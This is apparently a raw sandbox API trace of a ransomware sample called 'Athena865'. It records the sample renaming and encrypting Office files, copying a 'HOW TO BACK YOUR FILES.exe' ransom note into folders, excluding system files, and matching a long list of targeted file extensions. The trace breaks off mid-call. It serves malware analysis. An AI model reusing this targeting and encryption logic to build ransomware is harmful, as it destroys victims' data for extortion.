lstrlenW (lpString="vis") returned 3 [0068.471] lstrcmpiW (lpString1="xsd", lpString2="vis") returned 1 [0068.471] lstrlenW (lpString="vpd") returned 3 [0068.471] lstrcmpiW (lpString1="xsd", lpString2="vpd") returned 1 [0068.471] lstrlenW (lpString="vvv") returned 3 [0068.471] lstrcmpiW (lpString1="xsd", lpString2="vvv") returned 1 [0068.471] lstrlenW (lpString="wdb") returned 3 [0068.471] lstrcmpiW (lpString1="xsd", lpString2="wdb") returned 1 [0068.471] lstrlenW (lpString="wmdb") returned 4 [0068.471] lstrcmpiW (lpString1=".xsd", lpString2="wmdb") returned -1 [0068.471] lstrlenW (lpString="wrk") returned 3 [0068.471] lstrcmpiW (lpString1="xsd", lpString2="wrk") returned 1 [0068.471] lstrlenW (lpString="xdb") returned 3 [0068.471] lstrcmpiW (lpString1="xsd", lpString2="xdb") returned 1 [0068.471] lstrlenW (lpString="xld") returned 3 [0068.471] lstrcmpiW (lpString1="xsd", lpString2="xld") returned 1 [0068.471] lstrlenW (lpString="xmlff") returned 5 [0068.471] lstrcmpiW (lpString1="e.xsd", lpString2="xmlff") returned -1 [0068.471] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\bdcmetadataresource.xsd.Athena865") returned 76 [0068.471] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\bdcmetadataresource.xsd" (normalized: "c:\\program files\\microsoft office\\office14\\bdcmetadataresource.xsd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\bdcmetadataresource.xsd.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\bdcmetadataresource.xsd.athena865"), dwFlags=0x1) returned 1 [0068.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\bdcmetadataresource.xsd.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\bdcmetadataresource.xsd.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0068.473] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=13089) returned 1 [0068.473] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0068.473] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0068.473] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0068.473] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0068.474] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0068.474] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0068.474] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3630, lpName=0x0) returned 0x154 [0068.476] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3630) returned 0x100000 [0068.477] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0068.478] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0068.478] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0068.478] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0068.478] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0068.478] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0068.478] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0068.478] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0068.478] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0068.478] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0068.479] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0068.479] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0068.479] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0068.479] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0068.479] CloseHandle (hObject=0x154) returned 1 [0068.479] CloseHandle (hObject=0x17c) returned 1 [0068.479] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0068.479] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0068.479] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0068.479] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51422110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f409670, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Bibliography", cAlternateFileName="BIBLIO~1")) returned 1 [0068.479] lstrcmpiW (lpString1="Bibliography", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0068.479] lstrcmpiW (lpString1="Bibliography", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0068.479] lstrcmpiW (lpString1="Bibliography", lpString2=".") returned 1 [0068.479] lstrcmpiW (lpString1="Bibliography", lpString2="..") returned 1 [0068.479] lstrcmpiW (lpString1="Bibliography", lpString2="windows") returned -1 [0068.479] lstrcmpiW (lpString1="Bibliography", lpString2="bootmgr") returned -1 [0068.479] lstrcmpiW (lpString1="Bibliography", lpString2="temp") returned -1 [0068.480] lstrcmpiW (lpString1="Bibliography", lpString2="pagefile.sys") returned -1 [0068.480] lstrcmpiW (lpString1="Bibliography", lpString2="boot") returned -1 [0068.480] lstrcmpiW (lpString1="Bibliography", lpString2="ids.txt") returned -1 [0068.480] lstrcmpiW (lpString1="Bibliography", lpString2="ntuser.dat") returned -1 [0068.480] lstrcmpiW (lpString1="Bibliography", lpString2="perflogs") returned -1 [0068.480] lstrcmpiW (lpString1="Bibliography", lpString2="MSBuild") returned -1 [0068.480] lstrlenW (lpString="Bibliography") returned 12 [0068.480] lstrcpyW (in: lpString1=0x241e89e, lpString2="Bibliography" | out: lpString1="Bibliography") returned="Bibliography" [0068.480] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52cc18 [0068.480] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x70) returned 0x52d0c0 [0068.480] lstrcatW (in: lpString1="Bibliography", lpString2="\\" | out: lpString1="Bibliography\\") returned="Bibliography\\" [0068.480] lstrcatW (in: lpString1="Bibliography\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Bibliography\\HOW TO BACK YOUR FILES.exe") returned="Bibliography\\HOW TO BACK YOUR FILES.exe" [0068.480] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\how to back your files.exe"), bFailIfExists=1) returned 1 [0068.484] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58b4ce70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BORDERS", cAlternateFileName="")) returned 1 [0068.484] lstrcmpiW (lpString1="BORDERS", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0068.484] lstrcmpiW (lpString1="BORDERS", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0068.484] lstrcmpiW (lpString1="BORDERS", lpString2=".") returned 1 [0068.484] lstrcmpiW (lpString1="BORDERS", lpString2="..") returned 1 [0068.484] lstrcmpiW (lpString1="BORDERS", lpString2="windows") returned -1 [0068.484] lstrcmpiW (lpString1="BORDERS", lpString2="bootmgr") returned 1 [0068.484] lstrcmpiW (lpString1="BORDERS", lpString2="temp") returned -1 [0068.484] lstrcmpiW (lpString1="BORDERS", lpString2="pagefile.sys") returned -1 [0068.484] lstrcmpiW (lpString1="BORDERS", lpString2="boot") returned 1 [0068.484] lstrcmpiW (lpString1="BORDERS", lpString2="ids.txt") returned -1 [0068.484] lstrcmpiW (lpString1="BORDERS", lpString2="ntuser.dat") returned -1 [0068.484] lstrcmpiW (lpString1="BORDERS", lpString2="perflogs") returned -1 [0068.484] lstrcmpiW (lpString1="BORDERS", lpString2="MSBuild") returned -1 [0068.484] lstrlenW (lpString="BORDERS") returned 7 [0068.484] lstrcpyW (in: lpString1=0x241e89e, lpString2="BORDERS" | out: lpString1="BORDERS") returned="BORDERS" [0068.484] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52cc00 [0068.485] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x66) returned 0x539e70 [0068.485] lstrcatW (in: lpString1="BORDERS", lpString2="\\" | out: lpString1="BORDERS\\") returned="BORDERS\\" [0068.485] lstrcatW (in: lpString1="BORDERS\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="BORDERS\\HOW TO BACK YOUR FILES.exe") returned="BORDERS\\HOW TO BACK YOUR FILES.exe" [0068.485] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\how to back your files.exe"), bFailIfExists=1) returned 1 [0068.490] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ee75d00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd248dbc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1ee75d00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x2d998, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BRTVIEW.DLL", cAlternateFileName="")) returned 1 [0068.490] lstrcmpiW (lpString1="BRTVIEW.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0068.490] lstrcmpiW (lpString1="BRTVIEW.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0068.490] lstrcmpiW (lpString1="BRTVIEW.DLL", lpString2=".") returned 1 [0068.490] lstrcmpiW (lpString1="BRTVIEW.DLL", lpString2="..") returned 1 [0068.490] lstrcmpiW (lpString1="BRTVIEW.DLL", lpString2="windows") returned -1 [0068.490] lstrcmpiW (lpString1="BRTVIEW.DLL", lpString2="bootmgr") returned 1 [0068.490] lstrcmpiW (lpString1="BRTVIEW.DLL", lpString2="temp") returned -1 [0068.490] lstrcmpiW (lpString1="BRTVIEW.DLL", lpString2="pagefile.sys") returned -1 [0068.490] lstrcmpiW (lpString1="BRTVIEW.DLL", lpString2="boot") returned 1 [0068.490] lstrcmpiW (lpString1="BRTVIEW.DLL", lpString2="ids.txt") returned -1 [0068.490] lstrcmpiW (lpString1="BRTVIEW.DLL", lpString2="ntuser.dat") returned -1 [0068.490] lstrcmpiW (lpString1="BRTVIEW.DLL", lpString2="perflogs") returned -1 [0068.490] lstrcmpiW (lpString1="BRTVIEW.DLL", lpString2="MSBuild") returned -1 [0068.490] lstrlenW (lpString="BRTVIEW.DLL") returned 11 [0068.490] lstrcpyW (in: lpString1=0x241e89e, lpString2="BRTVIEW.DLL" | out: lpString1="BRTVIEW.DLL") returned="BRTVIEW.DLL" [0068.490] lstrlenW (lpString="BRTVIEW.DLL") returned 11 [0068.490] lstrlenW (lpString="Athena865") returned 9 [0068.490] lstrcmpiW (lpString1="TVIEW.DLL", lpString2="Athena865") returned 1 [0068.490] lstrlenW (lpString=".dll") returned 4 [0068.490] lstrcmpiW (lpString1="BRTVIEW.DLL", lpString2=".dll") returned 1 [0068.490] lstrlenW (lpString=".lnk") returned 4 [0068.490] lstrcmpiW (lpString1="BRTVIEW.DLL", lpString2=".lnk") returned 1 [0068.490] lstrlenW (lpString=".ini") returned 4 [0068.491] lstrcmpiW (lpString1="BRTVIEW.DLL", lpString2=".ini") returned 1 [0068.491] lstrlenW (lpString=".sys") returned 4 [0068.491] lstrcmpiW (lpString1="BRTVIEW.DLL", lpString2=".sys") returned 1 [0068.491] lstrlenW (lpString="BRTVIEW.DLL") returned 11 [0068.491] lstrlenW (lpString="bak") returned 3 [0068.491] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0068.491] lstrlenW (lpString="ba_") returned 3 [0068.491] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0068.491] lstrlenW (lpString="dbb") returned 3 [0068.491] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0068.491] lstrlenW (lpString="vmdk") returned 4 [0068.491] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0068.491] lstrlenW (lpString="rar") returned 3 [0068.491] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0068.491] lstrlenW (lpString="zip") returned 3 [0068.491] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0068.491] lstrlenW (lpString="tgz") returned 3 [0068.491] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0068.491] lstrlenW (lpString="vbox") returned 4 [0068.491] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0068.491] lstrlenW (lpString="vdi") returned 3 [0068.491] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0068.491] lstrlenW (lpString="vhd") returned 3 [0068.491] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0068.491] lstrlenW (lpString="vhdx") returned 4 [0068.491] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0068.491] lstrlenW (lpString="avhd") returned 4 [0068.491] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0068.491] lstrlenW (lpString="db") returned 2 [0068.491] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0068.491] lstrlenW (lpString="db2") returned 3 [0068.491] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0068.491] lstrlenW (lpString="db3") returned 3 [0068.492] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0068.492] lstrlenW (lpString="dbf") returned 3 [0068.492] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0068.492] lstrlenW (lpString="mdf") returned 3 [0068.492] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0068.492] lstrlenW (lpString="mdb") returned 3 [0068.492] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0068.492] lstrlenW (lpString="sql") returned 3 [0068.492] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0068.492] lstrlenW (lpString="sqlite") returned 6 [0068.492] lstrcmpiW (lpString1="EW.DLL", lpString2="sqlite") returned -1 [0068.492] lstrlenW (lpString="sqlite3") returned 7 [0068.492] lstrcmpiW (lpString1="IEW.DLL", lpString2="sqlite3") returned -1 [0068.492] lstrlenW (lpString="sqlitedb") returned 8 [0068.492] lstrcmpiW (lpString1="VIEW.DLL", lpString2="sqlitedb") returned 1 [0068.492] lstrlenW (lpString="xml") returned 3 [0068.492] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0068.492] lstrlenW (lpString="$er") returned 3 [0068.492] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0068.492] lstrlenW (lpString="4dd") returned 3 [0068.492] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0068.492] lstrlenW (lpString="4dl") returned 3 [0068.492] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0068.492] lstrlenW (lpString="^^^") returned 3 [0068.492] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0068.492] lstrlenW (lpString="abs") returned 3 [0068.492] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0068.492] lstrlenW (lpString="abx") returned 3 [0068.492] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0068.492] lstrlenW (lpString="accdb") returned 5 [0068.492] lstrcmpiW (lpString1="W.DLL", lpString2="accdb") returned 1 [0068.492] lstrlenW (lpString="accdc") returned 5 [0068.492] lstrcmpiW (lpString1="W.DLL", lpString2="accdc") returned 1 [0068.493] lstrlenW (lpString="accde") returned 5 [0068.493] lstrcmpiW (lpString1="W.DLL", lpString2="accde") returned 1 [0068.493] lstrlenW (lpString="accdr") returned 5 [0068.493] lstrcmpiW (lpString1="W.DLL", lpString2="accdr") returned 1 [0068.493] lstrlenW (lpString="accdt") returned 5 [0068.493] lstrcmpiW (lpString1="W.DLL", lpString2="accdt") returned 1 [0068.493] lstrlenW (lpString="accdw") returned 5 [0068.493] lstrcmpiW (lpString1="W.DLL", lpString2="accdw") returned 1 [0068.493] lstrlenW (lpString="accft") returned 5 [0068.493] lstrcmpiW (lpString1="W.DLL", lpString2="accft") returned 1 [0068.493] lstrlenW (lpString="adb") returned 3 [0068.493] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0068.493] lstrlenW (lpString="adb") returned 3 [0068.493] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0068.493] lstrlenW (lpString="ade") returned 3 [0068.493] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0068.493] lstrlenW (lpString="adf") returned 3 [0068.493] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0068.493] lstrlenW (lpString="adn") returned 3 [0068.493] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0068.493] lstrlenW (lpString="adp") returned 3 [0068.493] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0068.493] lstrlenW (lpString="alf") returned 3 [0068.493] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0068.493] lstrlenW (lpString="ask") returned 3 [0068.493] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0068.493] lstrlenW (lpString="btr") returned 3 [0068.493] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0068.493] lstrlenW (lpString="cat") returned 3 [0068.493] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0068.493] lstrlenW (lpString="cdb") returned 3 [0068.493] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0068.493] lstrlenW (lpString="ckp") returned 3 [0068.494] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0068.494] lstrlenW (lpString="cma") returned 3 [0068.494] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0068.494] lstrlenW (lpString="cpd") returned 3 [0068.494] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0068.494] lstrlenW (lpString="dacpac") returned 6 [0068.494] lstrcmpiW (lpString1="EW.DLL", lpString2="dacpac") returned 1 [0068.494] lstrlenW (lpString="dad") returned 3 [0068.494] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0068.494] lstrlenW (lpString="dadiagrams") returned 10 [0068.494] lstrcmpiW (lpString1="RTVIEW.DLL", lpString2="dadiagrams") returned 1 [0068.494] lstrlenW (lpString="daschema") returned 8 [0068.494] lstrcmpiW (lpString1="VIEW.DLL", lpString2="daschema") returned 1 [0068.494] lstrlenW (lpString="db-journal") returned 10 [0068.494] lstrcmpiW (lpString1="RTVIEW.DLL", lpString2="db-journal") returned 1 [0068.494] lstrlenW (lpString="db-shm") returned 6 [0068.494] lstrcmpiW (lpString1="EW.DLL", lpString2="db-shm") returned 1 [0068.494] lstrlenW (lpString="db-wal") returned 6 [0068.494] lstrcmpiW (lpString1="EW.DLL", lpString2="db-wal") returned 1 [0068.494] lstrlenW (lpString="dbc") returned 3 [0068.494] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0068.494] lstrlenW (lpString="dbs") returned 3 [0068.494] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0068.494] lstrlenW (lpString="dbt") returned 3 [0068.494] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0068.494] lstrlenW (lpString="dbv") returned 3 [0068.494] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0068.494] lstrlenW (lpString="dbx") returned 3 [0068.494] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0068.494] lstrlenW (lpString="dcb") returned 3 [0068.494] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0068.494] lstrlenW (lpString="dct") returned 3 [0068.494] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0068.495] lstrlenW (lpString="dcx") returned 3 [0068.495] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0068.495] lstrlenW (lpString="ddl") returned 3 [0068.495] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0068.495] lstrlenW (lpString="dlis") returned 4 [0068.495] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0068.495] lstrlenW (lpString="dp1") returned 3 [0068.495] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0068.495] lstrlenW (lpString="dqy") returned 3 [0068.495] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0068.495] lstrlenW (lpString="dsk") returned 3 [0068.495] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0068.495] lstrlenW (lpString="dsn") returned 3 [0068.495] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0068.495] lstrlenW (lpString="dtsx") returned 4 [0068.495] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0068.495] lstrlenW (lpString="dxl") returned 3 [0068.495] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0068.495] lstrlenW (lpString="eco") returned 3 [0068.495] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0068.495] lstrlenW (lpString="ecx") returned 3 [0068.495] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0068.495] lstrlenW (lpString="edb") returned 3 [0068.495] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0068.495] lstrlenW (lpString="epim") returned 4 [0068.495] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0068.495] lstrlenW (lpString="fcd") returned 3 [0068.495] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0068.495] lstrlenW (lpString="fdb") returned 3 [0068.495] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0068.495] lstrlenW (lpString="fic") returned 3 [0068.495] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0068.495] lstrlenW (lpString="flexolibrary") returned 12 [0068.496] lstrlenW (lpString="fm5") returned 3 [0068.496] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0068.496] lstrlenW (lpString="fmp") returned 3 [0068.496] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0068.496] lstrlenW (lpString="fmp12") returned 5 [0068.496] lstrcmpiW (lpString1="W.DLL", lpString2="fmp12") returned 1 [0068.496] lstrlenW (lpString="fmpsl") returned 5 [0068.496] lstrcmpiW (lpString1="W.DLL", lpString2="fmpsl") returned 1 [0068.496] lstrlenW (lpString="fol") returned 3 [0068.496] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0068.496] lstrlenW (lpString="fp3") returned 3 [0068.496] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0068.496] lstrlenW (lpString="fp4") returned 3 [0068.496] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0068.496] lstrlenW (lpString="fp5") returned 3 [0068.496] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0068.496] lstrlenW (lpString="fp7") returned 3 [0068.496] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0068.496] lstrlenW (lpString="fpt") returned 3 [0068.496] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0068.496] lstrlenW (lpString="frm") returned 3 [0068.496] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0068.496] lstrlenW (lpString="gdb") returned 3 [0068.496] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0068.496] lstrlenW (lpString="gdb") returned 3 [0068.496] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0068.496] lstrlenW (lpString="grdb") returned 4 [0068.496] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0068.496] lstrlenW (lpString="gwi") returned 3 [0068.496] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0068.496] lstrlenW (lpString="hdb") returned 3 [0068.497] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0068.497] lstrlenW (lpString="his") returned 3 [0068.497] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0068.497] lstrlenW (lpString="ib") returned 2 [0068.497] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0068.497] lstrlenW (lpString="idb") returned 3 [0068.497] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0068.497] lstrlenW (lpString="ihx") returned 3 [0068.497] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0068.497] lstrlenW (lpString="itdb") returned 4 [0068.497] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0068.497] lstrlenW (lpString="itw") returned 3 [0068.497] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0068.497] lstrlenW (lpString="jet") returned 3 [0068.497] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0068.497] lstrlenW (lpString="jtx") returned 3 [0068.497] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0068.497] lstrlenW (lpString="kdb") returned 3 [0068.497] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0068.497] lstrlenW (lpString="kexi") returned 4 [0068.497] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0068.497] lstrlenW (lpString="kexic") returned 5 [0068.497] lstrcmpiW (lpString1="W.DLL", lpString2="kexic") returned 1 [0068.497] lstrlenW (lpString="kexis") returned 5 [0068.497] lstrcmpiW (lpString1="W.DLL", lpString2="kexis") returned 1 [0068.497] lstrlenW (lpString="lgc") returned 3 [0068.497] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0068.497] lstrlenW (lpString="lwx") returned 3 [0068.497] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0068.497] lstrlenW (lpString="maf") returned 3 [0068.497] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0068.497] lstrlenW (lpString="maq") returned 3 [0068.498] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0068.498] lstrlenW (lpString="mar") returned 3 [0068.498] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0068.498] lstrlenW (lpString="marshal") returned 7 [0068.498] lstrcmpiW (lpString1="IEW.DLL", lpString2="marshal") returned -1 [0068.498] lstrlenW (lpString="mas") returned 3 [0068.498] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0068.498] lstrlenW (lpString="mav") returned 3 [0068.498] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0068.498] lstrlenW (lpString="maw") returned 3 [0068.498] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0068.498] lstrlenW (lpString="mdbhtml") returned 7 [0068.498] lstrcmpiW (lpString1="IEW.DLL", lpString2="mdbhtml") returned -1 [0068.498] lstrlenW (lpString="mdn") returned 3 [0068.498] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0068.498] lstrlenW (lpString="mdt") returned 3 [0068.498] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0068.498] lstrlenW (lpString="mfd") returned 3 [0068.498] lstrcmpiW 